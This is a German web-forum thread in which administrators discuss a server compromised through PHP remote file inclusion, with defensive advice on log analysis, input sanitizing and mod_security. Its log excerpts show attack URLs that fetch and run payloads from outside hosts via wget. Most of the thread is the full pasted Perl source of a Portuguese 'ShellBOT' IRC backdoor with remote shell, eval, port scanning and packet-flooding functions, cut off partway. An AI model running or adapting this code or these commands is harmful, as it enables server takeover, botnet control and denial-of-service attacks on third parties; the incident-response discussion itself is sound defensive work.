Server gehackt...

Rund um die Sicherheit des Systems und die Applikationen
phimei
Posts: 4
Joined: 2006-04-16 22:53
 

Server gehackt...

Post by phimei »

Hi,

Gleich vorweg, ich weiss nicht, wohin ich mit diesem Thread soll, hab jetzt mal gedacht, da es auch mit Sicherheit zu tun hat, poste ich es mal hier.

Also unser/ mein Problem:

Der Root eines Freundes wurde jetzt innerst kürzerster Zeit gleich zweimal gehackt. Auf dem Root lief ein Browsergame mit ca. 800 Spielern und es waren mehrer Kunden drauf installiert.
Nun ja, nach dem ersten Hack, achtet er mehr auf Sicherheit, aber dann is es wieder passiert. Der ganze Root wurde ein zweites mal gehackt. Wir vermuten durch MySQL Indjektion.
Nun ja, mir hat mal jemand gesagt, dass man solche Attacken durch einen Filter auf dem Root verhindern kann, stimmt dass?

Ich hoffe ihr versteht unser/ sein Problem und könnt uns/ ihm ein paar nützliche Tipps geben. Denn das Browsergame soll auf jeden Fall nicht aufgrund eines Hacks down gehen.

Herzlichen Dank

GruPhi

Ps: Mein erster Post hier :wink:
christian-wf
Posts: 14
Joined: 2004-07-03 20:31
Location: Wolfenbüttel
 

Re: Server gehackt...

Post by christian-wf »

Hallo GruPhi,
ich denke, ohne Neuinstallation wird das wohl nicht abgehen :-( Ich weiß zwar jetzt nicht, was Du konkret mit "Filtern" meinst, aber Du solltest z.B. die einzelnen Kundenaccounts daran hindern, z.B. über eine Jailshell, auf Systemdateien und die Dateien anderer Kunden zugreifen zu können. Damit wären die Auswirkungen eines Angriffs auf den entsprechenden Kundenaccount begrenzt. Außerdem musst Du natürlich regelmäßig Sicherheitsupdates installieren, auch für alle installierten Skripte!

Mfg. Christian
Roger Wilco
Posts: 5923
Joined: 2004-05-23 12:53
 

Re: Server gehackt...

Post by Roger Wilco »

http://www.rootforum.org/faq/14_104_de.html
http://www.rootforum.org/forum/viewtopic.php?t=7801

Ihr solltet auf jeden Fall herausfinden, wie der Server genau kompromittiert wurde, damit ihr diese Lücke stopfen könnt. Beim ersten mal hat das offensichtlich nicht geklappt.
phimei
Posts: 4
Joined: 2006-04-16 22:53
 

Re: Server gehackt...

Post by phimei »

Ok, dass mit dem Vorgehen bei einem Wiederholungsfall hab ich dem Freund weitergeleitet.

Nun, bei der Neuinstallation ist er schon, was soll er denn da genau beachten?
hornox
Posts: 139
Joined: 2005-09-22 23:09
 

Re: Server gehackt...

Post by hornox »

Browsergame [...] MySQL Indjektion [...] Filter
http://www.modsecurity.org/
mod_security kann unter günstigen Umständen und mit sorgfältiger Konfiguration vorbeugend wirken aber es ist deutlich einfacher, sicherer, zeitsparender und direkter die Fehler in den Skripten zu suchen bzw gleich beim schreiben der Skripte verstärkt auf Sicherheit zu achten. Die Logfiles vom letzten Hack können wertvolle Hinweise auf zumindest einen Fehler liefern.
phimei
Posts: 4
Joined: 2006-04-16 22:53
 

Re: Server gehackt...

Post by phimei »

Der Freund sagt, dass mit den Regeln war schon vor dem zweiten Hack drauf...
aubergine
Posts: 471
Joined: 2005-09-10 17:52
Location: Frankfurt am Main
 

Re: Server gehackt...

Post by aubergine »

Ich kann dir zwar nicht mehr sagen als schon getan wurde aber was hälste davon den Freund mal hier posten zu lassen?

Dann euch mit sicherheit gezielter geholfen werden, als durch weitergabe von 3ten.
khark
 

Re: Server gehackt...

Post by khark »

Wenn da wirklich ein Browsergame drauf lief, würde ich mal gucken wie es mit der Sicherheit von PHP/MySQL aussieht.
- Hat er für das Game eine extra MySQL-DB mit eigenem MySQL-User angelegt?
(Der sich am besten nur von localhost mit Passwort anmelden darf.)
- Welche Rechte hat dieser User in MySQL?
(INSERT, UPDATE, DELETE und SELECT reichen für die meisten PHP/MySQL-Anwendungen nach der Installation.)
- Verwendet er für irgendeinen MySQL-User das gleiche PW wie für root?
usw.

Aber das wichtigste überhaupt: Was wurde verändert und wie ist es ihm aufgefallen?


Khark
phimei
Posts: 4
Joined: 2006-04-16 22:53
 

Re: Server gehackt...

Post by phimei »

Die DB als auch die MySQL Users waren alle getrennt. Wie dass mit den Rechten für die MySQL-Users war, weiss ich nicht, ich leite es auf jeden Fall an ihn weiter...

Gibt es sonst noch was, auf was wir/ er achten sollte?
rootsvr
Posts: 538
Joined: 2005-09-02 11:12
Contact:
 

Re: Server gehackt...

Post by rootsvr »

Naja man kann halt nur stochern, Logfiles sagen oft wie der Mensch reinkam (apache logs)

so kann ein
cat apache.log |grep wget

oft schon die Schwachstelle äußern, wenn denn danach ein Programm (nach tmp?) runtergeladen wurde.

Aber mit so unspezifischen Aussagen nach ner Lösung zu fragen ist schon mutig. Wir können keine Logfiles lesen, ihr schon, also wie sollen wir euch da großartig helfen.

Generell wenn ihr mysql Injection vermutet (warum eigentlich?) hilft es die php Scripte abzusichern, so sollte man Variablen, die in die DB geschrieben oder für abfragen genutzt werden IMMER sanitizen:
Bei einer ID kann man beispielsweise mit intval($_POST['id']) o.ä. sicherstellen das nur ne Zahl drinnen steht und auch ALLE anderen Variablen die vom User oder Browser kommen sollte man absichern, z.B. kein ' oder ; erlauben usw.. Wenn ihr hofft doch Modsecurity eure anscheinend immer noch vorhandenen Lücken zu schliessen ist das nicht wirklich produktiv, schaut lieber das ihr die Ursache findet.

Aber das sind generelle Reglen, mehr kannst Du hier nicht erwarten, wenn wir nichts zu sehen bekommen.

Vielleicht habt ihr aber auch nen nicht aktuelles phpBB, Mambo oder sonstwas.. -> Updaten
lord_pinhead
Posts: 774
Joined: 2004-04-26 15:57
 

Re: Server gehackt...

Post by lord_pinhead »

Das einfachste ist eigentlich /tmp und /var/tmp einfach via mod_sec zu sperren, was bei den gotroot Regeln glaub ich sogar schon standard ist. Und was meinst du mit mysql indjektion? Erzeugst du Energie durch Inserts oder meintest du eher Code Injection ?
pr0j3ctx
Posts: 43
Joined: 2002-10-05 13:08
Location: NRW
 

Re: Server gehackt...

Post by pr0j3ctx »

Hab hier zu mal ne Frage. Nachdem ich ähnliche probleme hatte und auch scripts in den tmp dirs gefunden habe, habe ich in den access logs nach den scripts gesucht und gefunden das sie via wget auf den server geladen wurden.

Meine Frage ist nun worüber diese scripte gestartet wurden. In welche Richtung müsste ich da suchen um dort evtl lücken zu schliessen?

Grüße
rootsvr
Posts: 538
Joined: 2005-09-02 11:12
Contact:
 

Re: Server gehackt...

Post by rootsvr »

Nunja in deinem Apache log steht sowas: Zeile von google:

Code: Select all

69.56.146.210 - - [01/Mar/2006:05:41:00 +0900] "GET /index2.php?option=com_content&do_pdf=1&id=1index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://219.84.105.36/cmd.gif?&cmd=cd%20/tmp;wget%20219.84.105.36/supina;chmod%20744%20supina;./supina;echo%20YYY;echo|  HTTP/1.1" 404 294 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
Daran siehst Du das /index2.php in einem der Parameter eine externe Datei (http://219.84.105.36/cmd.gif) lädt (was eigentlich eine php shell ist).

Die Lösung ist einfach: fixe das Script --> Update die Software in dem o.g. Beispiel wohl Mambo/Joomla.

Wenn die Scripte deine eigenen sind schau halt das Du niemals ein include ($_POST['site']) o.ä. machst, traue nie Daten die aus dem Browser kommen. d.h. überprüfe z.B. das $_POST['site'] in einem Array der für ok befundenen Namen vorkommt, das Usernamen nur Buchstaben/zahlen enthalten und das ; oder " oder ' böse sind wenn sie in Parametern übergeben ankommen.

Zum lesen:
http://www.zend.com/zend/art/art-oertli.php

Mod_security kann helfen, wenn Du ein paar einfach regeln einbaust, aber Du mußt immer selber schauen das Du deine Software (gallery, php Foren, CMS usw) auf nem sicheren Stand hälst
pr0j3ctx
Posts: 43
Joined: 2002-10-05 13:08
Location: NRW
 

Re: Server gehackt...

Post by pr0j3ctx »

sowas hatte ich bei mir auch gefunden. Dort war aber nur ein wget. Da war nirgendswo ersichtlich das das script auch gestartet wurde.

Aber wenn das dann auch direkt darüber mit geht. *seufz*
rootsvr
Posts: 538
Joined: 2005-09-02 11:12
Contact:
 

Re: Server gehackt...

Post by rootsvr »

Naja in dem Aufruf wird das Script mit gestartet:

Code: Select all

cmd.gif?&cmd=cd%20/tmp;wget%20219.84.105.36/supina;chmod%20744%20supina;./supina;echo%20YYY;echo
er wechslt in tmp:
cd%20/tmp; (Semikolon= neues Kommando)

holt sich ein supina script
wget%20219.84.105.36/supina

macht es ausführbar
chmod%20744%20supina;

führt es aus:
./supina;

macht ne Ausgabe um zu zeigen das es lief
echo%20YYY;


sowas muß es bei Dir eigentlich auch geben.. zeig halt einfach mal deine Logs..
nur ein Wget fürht nicht aus, aber durch loganalyse und grep auf den Dateinamen im tmp ordner solltest Du dem schon auf die Schliche kommen können.
pr0j3ctx
Posts: 43
Joined: 2002-10-05 13:08
Location: NRW
 

Re: Server gehackt...

Post by pr0j3ctx »

Bei mir sah das ganze so aus

Code: Select all

200.101.235.177 - - [04/May/2006:06:13:47 +0200] "GET /blank.php?path=http://xpl.netmisphere2.com/cmd.gif?&cmd=wget%20http://geocities.yahoo.com.br/frangolino1234/b0t.txt HTTP/1.1" 200 3484 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
rootsvr
Posts: 538
Joined: 2005-09-02 11:12
Contact:
 

Re: Server gehackt...

Post by rootsvr »

dann hast Du in dem in dem Verzeichnis wo das verwundbare blank.php liegt jetzt eine b0t.txt ?

Wenn nicht war es vielleicht auch nur ein Versuch was drauf zu laden, es gibt Bots die bei jeder php Seite alle Parameter testen.

Wenn Du irgendwo b0t.txt hast würde ich mal in den access.log danach suchen, die wird sicher irgendwann aufgerufen..
pr0j3ctx
Posts: 43
Joined: 2002-10-05 13:08
Location: NRW
 

Re: Server gehackt...

Post by pr0j3ctx »

Die Datei wurde in /tmp kopiert. Hab sie aber von da verschoben. Daher denke ich sollte mit de rnichts mehr passieren und die blank.php ist auch schon gefixxed.
rootsvr
Posts: 538
Joined: 2005-09-02 11:12
Contact:
 

Re: Server gehackt...

Post by rootsvr »

in dem Aufruf scheint die aber nicht in /tmp verschoben zu sein, wget lädt IMHO nicht automatisch nach /tmp.

Hast Du mal geschaut ob von der IP 200.101.235.177 mehr Anfragen kamen?

Mal nach cd%20 gesucht?
pr0j3ctx
Posts: 43
Joined: 2002-10-05 13:08
Location: NRW
 

Re: Server gehackt...

Post by pr0j3ctx »

sorry mein fehler.

Eine halbe Minute später kam der Aufruf. Da hat er es ins tmp verzeichnis kopiert

Code: Select all

200.101.235.177 - - [04/May/2006:06:14:19 +0200] "GET /blank.php?path=http://xpl.netmisphere2.com/cmd.gif?&cmd=cd%20/tmp;wget%20http://geocities.yahoo.com.br/frangolino1234/b0t.txt HTTP/1.1" 200 3545 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
rootsvr
Posts: 538
Joined: 2005-09-02 11:12
Contact:
 

Re: Server gehackt...

Post by rootsvr »

jep.. ich vermute mal das der dann auch irgendwann aufgerufen wurde, oder?
was ist der Inhalt von b0t.txt?

*Selbstnachgeguckt..*

halt nen IRC Bot.. tippe mal auf nen aufruf ala perl%20b0t.txt

Keine Ahnung was der Mensch dann nachher auf der Kiste gemacht hat ich würde sicherheitshalber neu installieren.
Last edited by rootsvr on 2006-05-04 14:00, edited 1 time in total.
pr0j3ctx
Posts: 43
Joined: 2002-10-05 13:08
Location: NRW
 

Re: Server gehackt...

Post by pr0j3ctx »

da mir das huete morgen direkt aufgefallen ist ist wohl nichts ausgeführt wurden.

Code: Select all

#!/usr/bin/perl

#



########## CONFIGURACAO ############

my $processo = '[httpd]'; #nome do prcesso :P



#evita o flood :)

my $linas_max=10; #depois de X linhas

my $sleep=3;      # ele dorme X segundos



# IRC

my @adms=("unix","ask"); #nick dos administradores

my @canais=("#uol");

my $nick='boteco1'; # nick do bot.. c o nick jah estiveh em uso.. vai aparece com um numero radonamico no final

my $ircname = 'ask';

chop (my $realname = `id`);

$servidor='irc.zerofuzion.net' unless $servidor; #servidor d irc q vai c usadu c naum for especificado no argumento

my $porta='6667'; #porta do servidor d irc



#ACESSO A SHELL

my $secv = 1; # 1 para t acesso a shell

####################################



my $VERSAO = '0.2';



$SIG{'INT'} = 'IGNORE';

$SIG{'HUP'} = 'IGNORE';

$SIG{'TERM'} = 'IGNORE';

$SIG{'CHLD'} = 'IGNORE';

$SIG{'PS'} = 'IGNORE';



use IO::Socket;

use Socket;

use IO::Select;

chdir("/");

$servidor="$ARGV[0]" if $ARGV[0];

$0="$processo"."\0"x16;;

my $pid=fork;

exit if $pid;

die "Problema com o fork: $!" unless defined($pid);







our %irc_servers;

our %DCC;

my $dcc_sel = new IO::Select->new();



#############################

#  B0tchZ na veia ehehe :P  #

#############################



$sel_cliente = IO::Select->new();

sub sendraw {

  if ($#_ == '1') {

    my $socket = $_[0];

    print $socket "$_[1]n";

  } else {

      print $IRC_cur_socket "$_[0]n";

  }

}



sub conectar {

   my $meunick = $_[0];

   my $servidor_con = $_[1];

   my $porta_con = $_[2];



   my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1);

   if (defined($IRC_socket)) {

     $IRC_cur_socket = $IRC_socket;



     $IRC_socket->autoflush(1);

     $sel_cliente->add($IRC_socket);



     $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";

     $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";

     $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;

     $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;

     nick("$meunick");

     sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname");

     sleep 1;

   }



}

my $line_temp;

while( 1 ) {

   while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }

   delete($irc_servers{''}) if (defined($irc_servers{''}));

   &DCC::connections;

   my @ready = $sel_cliente->can_read(0);

   next unless(@ready);

   foreach $fh (@ready) {

     $IRC_cur_socket = $fh;

     $meunick = $irc_servers{$IRC_cur_socket}{'nick'};

     $nread = sysread($fh, $msg, 4096);

     if ($nread == 0) {

        $sel_cliente->remove($fh);

        $fh->close;

        delete($irc_servers{$fh});

     }

     @lines = split (/n/, $msg);



     for(my $c=0; $c<= $#lines; $c++) {

       $line = $lines[$c];

       $line=$line_temp.$line if ($line_temp);

       $line_temp='';

       $line =~ s/r$//;

       unless ($c == $#lines) {

         parse("$line");

       } else {

           if ($#lines == 0) {

             parse("$line");

           } elsif ($lines[$c] =~ /r$/) {

               parse("$line");

           } elsif ($line =~ /^(S+) NOTICE AUTH :***/) {

               parse("$line");

           } else {

               $line_temp = $line;

           }

       }

      }

   }

}







sub parse {

   my $servarg = shift;

   if ($servarg =~ /^PING :(.*)/) {

     sendraw("PONG :$1");

   } elsif ($servarg =~ /^:(.+?)!(.+?)@(.+?) PRIVMSG (.+?) :(.+)/) {

       my $pn=$1; my $onde = $4; my $args = $5;

       if ($args =~ /^\001VERSION\001$/) {

         notice("$pn", "\001VERSION ShellBOT-$VERSAO por 0ldW0lf\001");

       }

       if (grep {$_ =~ /^Q$pnE$/i } @adms) {

         if ($onde eq "$meunick"){

           shell("$pn", "$args");

         }

         if ($args =~ /^(Q$meunickE|!asc)s+(.*)/ ) {

            my $natrix = $1;

            my $arg = $2;

            if ($arg =~ /^!(.*)/) {

              ircase("$pn","$onde","$1") unless ($natrix eq "!asc" and $arg =~ /^!nick/);

            } elsif ($arg =~ /^@(.*)/) {

                $ondep = $onde;

                $ondep = $pn if $onde eq $meunick;

                bfunc("$ondep","$1");

            } else {

                shell("$onde", "$arg");

            }

         }

       }

   } elsif ($servarg =~ /^:(.+?)!(.+?)@(.+?)s+NICKs+:(S+)/i) {

       if (lc($1) eq lc($meunick)) {

         $meunick=$4;

         $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;

       }

   } elsif ($servarg =~ m/^:(.+?)s+433/i) {

       nick("$meunick".int rand(9999));

   } elsif ($servarg =~ m/^:(.+?)s+001s+(S+)s/i) {

       $meunick = $2;

       $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;

       $irc_servers{$IRC_cur_socket}{'nome'} = "$1";

       foreach my $canal (@canais) {

         sendraw("JOIN $canal");

       }

   }

}



sub bfunc {

  my $printl = $_[0];

  my $funcarg = $_[1];

  if (my $pid = fork) {

     waitpid($pid, 0);

  } else {

      if (fork) {

         exit;

       } else {

           if ($funcarg =~ /^portscan (.*)/) {

             my $hostip="$1";

             my @portas=("21","22","23","25","53","80","110","143");

             my (@aberta, %porta_banner);

             foreach my $porta (@portas)  {

                my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => 4);

                if ($scansock) {

                   push (@aberta, $porta);

                   $scansock->close;

                }

             }



             if (@aberta) {

               sendraw($IRC_cur_socket, "PRIVMSG $printl :portas abertas: @aberta");

             } else {

                 sendraw($IRC_cur_socket,"PRIVMSG $printl :Nenhuma porta aberta foi encontrada");

             }

           }

           if ($funcarg =~ /^pacotas+(.*)s+(d+)s+(d+)/) {

             my ($dtime, %pacotes) = attacker("$1", "$2", "$3");

             $dtime = 1 if $dtime == 0;

             my %bytes;

             $bytes{igmp} = $2 * $pacotes{igmp};

             $bytes{icmp} = $2 * $pacotes{icmp};

             $bytes{o} = $2 * $pacotes{o};

             $bytes{udp} = $2 * $pacotes{udp};

             $bytes{tcp} = $2 * $pacotes{tcp};



             sendraw($IRC_cur_socket, "PRIVMSG $printl :\002 - Status GERAL -\002");

             sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Tempo\002: $dtime"."s");

             sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total pacotes\002: ".($pacotes{udp} + $pacotes{igmp} + $pacotes{icmp} +  $pacotes{o}));

             sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total bytes\002: ".($bytes{icmp} + $bytes {igmp} + $bytes{udp} + $bytes{o}));

             sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Média de envio\002: ".int((($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)/$dtime)." kbps");





           }

           exit;

       }

  }

}



sub ircase {

  my ($kem, $printl, $case) = @_;



  if ($case =~ /^join (.*)/) {

     j("$1");

   }

   if ($case =~ /^part (.*)/) {

      p("$1");

   }

   if ($case =~ /^rejoins+(.*)/) {

      my $chan = $1;

      if ($chan =~ /^(d+) (.*)/) {

        for (my $ca = 1; $ca <= $1; $ca++ ) {

          p("$2");

          j("$2");

        }

      } else {

          p("$chan");

          j("$chan");

      }

   }

   if ($case =~ /^op/) {

      op("$printl", "$kem") if $case eq "op";

      my $oarg = substr($case, 3);

      op("$1", "$2") if ($oarg =~ /(S+)s+(S+)/);

   }

   if ($case =~ /^deop/) {

      deop("$printl", "$kem") if $case eq "deop";

      my $oarg = substr($case, 5);

      deop("$1", "$2") if ($oarg =~ /(S+)s+(S+)/);

   }

   if ($case =~ /^voice/) {

      voice("$printl", "$kem") if $case eq "voice";

      $oarg = substr($case, 6);

      voice("$1", "$2") if ($oarg =~ /(S+)s+(S+)/);

   }

   if ($case =~ /^devoice/) {

      devoice("$printl", "$kem") if $case eq "devoice";

      $oarg = substr($case, 8);

      devoice("$1", "$2") if ($oarg =~ /(S+)s+(S+)/);

   }

   if ($case =~ /^msgs+(S+) (.*)/) {

      msg("$1", "$2");

   }

   if ($case =~ /^floods+(d+)s+(S+) (.*)/) {

      for (my $cf = 1; $cf <= $1; $cf++) {

        msg("$2", "$3");

      }

   }

   if ($case =~ /^ctcps+(S+) (.*)/) {

      ctcp("$1", "$2");

   }

   if ($case =~ /^ctcpfloods+(d+)s+(S+) (.*)/) {

      for (my $cf = 1; $cf <= $1; $cf++) {

        ctcp("$2", "$3");

      }

   }

   if ($case =~ /^invites+(S+) (.*)/) {

      invite("$1", "$2");

   }

   if ($case =~ /^nick (.*)/) {

      nick("$1");

   }

   if ($case =~ /^conectas+(S+)s+(S+)/) {

       conectar("$2", "$1", 6667);

   }

   if ($case =~ /^sends+(S+)s+(S+)/) {

      DCC::SEND("$1", "$2");

   }

   if ($case =~ /^raw (.*)/) {

      sendraw("$1");

   }

   if ($case =~ /^eval (.*)/) {

     eval "$1";

   }

}

sub shell {

  return unless $secv;

  my $printl=$_[0];

  my $comando=$_[1];

  if ($comando =~ /cd (.*)/) {

    chdir("$1") || msg("$printl", "Diertório inexistente!");

    return;

  }

  elsif ($pid = fork) {

     waitpid($pid, 0);

  } else {

      if (fork) {

         exit;

       } else {

           my @resp=`$comando 2>&1 3>&1`;

           my $c=0;

           foreach my $linha (@resp) {

             $c++;

             chop $linha;

             sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");

             if ($c == "$linas_max") {

               $c=0;

               sleep $sleep;

             }

           }

           exit;

       }

  }

}



#eu fiz um pacotadorzinhu e talz.. dai colokemo ele aki

sub attacker {

  my $iaddr = inet_aton($_[0]);

  my $msg = 'B' x $_[1];

  my $ftime = $_[2];

  my $cp = 0;

  my (%pacotes);

  $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;



  socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;

  socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;

  socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;

  socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;

  return(undef) if $cp == 4;

  my $itime = time;

  my ($cur_time);

  while ( 1 ) {

     for (my $porta = 1; $porta <= 65535; $porta++) {

       $cur_time = time - $itime;

       last if $cur_time >= $ftime;

       send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++;

       send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++;

       send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++;

       send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++;



       # DoS ?? :P

       for (my $pc = 3; $pc <= 255;$pc++) {

         next if $pc == 6;

         $cur_time = time - $itime;

         last if $cur_time >= $ftime;

         socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;

         send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++;;

       }

     }

     last if $cur_time >= $ftime;

  }

  return($cur_time, %pacotes);

}







#############

#  ALIASES  #

#############



sub action {

   return unless $#_ == 1;

   sendraw("PRIVMSG $_[0] :\001ACTION $_[1]\001");

}



sub ctcp {

   return unless $#_ == 1;

   sendraw("PRIVMSG $_[0] :\001$_[1]\001");

}

sub msg {

   return unless $#_ == 1;

   sendraw("PRIVMSG $_[0] :$_[1]");

}



sub notice {

   return unless $#_ == 1;

   sendraw("NOTICE $_[0] :$_[1]");

}



sub op {

   return unless $#_ == 1;

   sendraw("MODE $_[0] +o $_[1]");

}

sub deop {

   return unless $#_ == 1;

   sendraw("MODE $_[0] -o $_[1]");

}

sub hop {

    return unless $#_ == 1;

   sendraw("MODE $_[0] +h $_[1]");

}

sub dehop {

   return unless $#_ == 1;

   sendraw("MODE $_[0] +h $_[1]");

}

sub voice {

   return unless $#_ == 1;

   sendraw("MODE $_[0] +v $_[1]");

}

sub devoice {

   return unless $#_ == 1;

   sendraw("MODE $_[0] -v $_[1]");

}

sub ban {

   return unless $#_ == 1;

   sendraw("MODE $_[0] +b $_[1]");

}

sub unban {

   return unless $#_ == 1;

   sendraw("MODE $_[0] -b $_[1]");

}

sub kick {

   return unless $#_ == 1;

   sendraw("KICK $_[0] $_[1] :$_[2]");

}



sub modo {

   return unless $#_ == 0;

   sendraw("MODE $_[0] $_[1]");

}

sub mode { modo(@_); }



sub j { &join(@_); }

sub join {

   return unless $#_ == 0;

   sendraw("JOIN $_[0]");

}

sub p { part(@_); }

sub part {sendraw("PART $_[0]");}



sub nick {

  return unless $#_ == 0;

  sendraw("NICK $_[0]");

}



sub invite {

   return unless $#_ == 1;

   sendraw("INVITE $_[1] $_[0]");

}

sub topico {

   return unless $#_ == 1;

   sendraw("TOPIC $_[0] $_[1]");

}

sub topic { topico(@_); }



sub whois {

  return unless $#_ == 0;

  sendraw("WHOIS $_[0]");

}

sub who {

  return unless $#_ == 0;

  sendraw("WHO $_[0]");

}

sub names {

  return unless $#_ == 0;

  sendraw("NAMES $_[0]");

}

sub away {

  sendraw("AWAY $_[0]");

}

sub back { away(); }

sub quit {

  sendraw("QUIT :$_[0]");

}







# DCC

package DCC;



sub connections {

   my @ready = $dcc_sel->can_read(1);

#   return unless (@ready);

   foreach my $fh (@ready) {

     my $dcctipo = $DCC{$fh}{tipo};

     my $arquivo = $DCC{$fh}{arquivo};

     my $bytes = $DCC{$fh}{bytes};

     my $cur_byte = $DCC{$fh}{curbyte};

     my $nick = $DCC{$fh}{nick};



     my $msg;

     my $nread = sysread($fh, $msg, 10240);



     if ($nread == 0 and $dcctipo =~ /^(get|sendcon)$/) {

        $DCC{$fh}{status} = "Cancelado";

        $DCC{$fh}{ftime} = time;

        $dcc_sel->remove($fh);

        $fh->close;

        next;

     }



     if ($dcctipo eq "get") {

        $DCC{$fh}{curbyte} += length($msg);



        my $cur_byte = $DCC{$fh}{curbyte};



        open(FILE, ">> $arquivo");

        print FILE "$msg" if ($cur_byte <= $bytes);

        close(FILE);



        my $packbyte = pack("N", $cur_byte);

        print $fh "$packbyte";



        if ($bytes == $cur_byte) {

           $dcc_sel->remove($fh);

           $fh->close;

           $DCC{$fh}{status} = "Recebido";

           $DCC{$fh}{ftime} = time;

           next;

        }

     } elsif ($dcctipo eq "send") {

          my $send = $fh->accept;

          $send->autoflush(1);

          $dcc_sel->add($send);

          $dcc_sel->remove($fh);

          $DCC{$send}{tipo} = 'sendcon';

          $DCC{$send}{itime} = time;

          $DCC{$send}{nick} = $nick;

          $DCC{$send}{bytes} = $bytes;

          $DCC{$send}{curbyte} = 0;

          $DCC{$send}{arquivo} = $arquivo;

          $DCC{$send}{ip} = $send->peerhost;

          $DCC{$send}{porta} = $send->peerport;

          $DCC{$send}{status} = "Enviando";



          #de cara manda os primeiro 1024 bytes do arkivo.. o resto fik com o sendcon

          open(FILE, "< $arquivo");

          my $fbytes;

          read(FILE, $fbytes, 1024);

          print $send "$fbytes";

          close FILE;

#          delete($DCC{$fh});

     } elsif ($dcctipo eq 'sendcon') {

          my $bytes_sended = unpack("N", $msg);

          $DCC{$fh}{curbyte} = $bytes_sended;

          if ($bytes_sended == $bytes) {

             $fh->close;

             $dcc_sel->remove($fh);

             $DCC{$fh}{status} = "Enviado";

             $DCC{$fh}{ftime} = time;

             next;

          }

          open(SENDFILE, "< $arquivo");

          seek(SENDFILE, $bytes_sended, 0);

          my $send_bytes;

          read(SENDFILE, $send_bytes, 1024);

          print $fh "$send_bytes";

          close(SENDFILE);

     }

   }

}





sub SEND {

  my ($nick, $arquivo) = @_;

  unless (-r "$arquivo") {

    return(0);

  }



  my $dccark = $arquivo;

  $dccark =~ s/[.*/](S+)/$1/;



  my $meuip = $::irc_servers{"$::IRC_cur_socket"}{'meuip'};

  my $longip = unpack("N",inet_aton($meuip));



  my @filestat = stat($arquivo);

  my $size_total=$filestat[7];

  if ($size_total == 0) {

     return(0);

  }



  my ($porta, $sendsock);

  do {

    $porta = int rand(64511);

    $porta += 1024;

    $sendsock = IO::Socket::INET->new(Listen=>1, LocalPort =>$porta, Proto => 'tcp') and $dcc_sel->add($sendsock);

  } until $sendsock;



  $DCC{$sendsock}{tipo} = 'send';

  $DCC{$sendsock}{nick} = $nick;

  $DCC{$sendsock}{bytes} = $size_total;

  $DCC{$sendsock}{arquivo} = $arquivo;





  &::ctcp("$nick", "DCC SEND $dccark $longip $porta $size_total");



}



sub GET {

  my ($arquivo, $dcclongip, $dccporta, $bytes, $nick) = @_;

  return(0) if (-e "$arquivo");

  if (open(FILE, "> $arquivo")) {

     close FILE;

  } else {

    return(0);

  }



  my $dccip=fixaddr($dcclongip);

  return(0) if ($dccporta < 1024 or not defined $dccip or $bytes < 1);

  my $dccsock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$dccip, PeerPort=>$dccporta, Timeout=>15) or return (0);

  $dccsock->autoflush(1);

  $dcc_sel->add($dccsock);

  $DCC{$dccsock}{tipo} = 'get';

  $DCC{$dccsock}{itime} = time;

  $DCC{$dccsock}{nick} = $nick;

  $DCC{$dccsock}{bytes} = $bytes;

  $DCC{$dccsock}{curbyte} = 0;

  $DCC{$dccsock}{arquivo} = $arquivo;

  $DCC{$dccsock}{ip} = $dccip;

  $DCC{$dccsock}{porta} = $dccporta;

  $DCC{$dccsock}{status} = "Recebendo";

}



# po fico xato de organiza o status.. dai fiz ele retorna o status de acordo com o socket.. dai o ADM.pl lista os sockets e faz as perguntas

sub Status {

  my $socket = shift;

  my $sock_tipo = $DCC{$socket}{tipo};

  unless (lc($sock_tipo) eq "chat") {

    my $nick = $DCC{$socket}{nick};

    my $arquivo = $DCC{$socket}{arquivo};

    my $itime = $DCC{$socket}{itime};

    my $ftime = time;

    my $status = $DCC{$socket}{status};

    $ftime = $DCC{$socket}{ftime} if defined($DCC{$socket}{ftime});



    my $d_time = $ftime-$itime;



    my $cur_byte = $DCC{$socket}{curbyte};

    my $bytes_total =  $DCC{$socket}{bytes};



    my $rate = 0;

    $rate = ($cur_byte/1024)/$d_time if $cur_byte > 0;

    my $porcen = ($cur_byte*100)/$bytes_total;



    my ($r_duv, $p_duv);

    if ($rate =~ /^(d+).(d)(d)(d)/) {

       $r_duv = $3; $r_duv++ if $4 >= 5;

       $rate = "$1.$2"."$r_duv";

    }

    if ($porcen =~ /^(d+).(d)(d)(d)/) {

       $p_duv = $3; $p_duv++ if $4 >= 5;

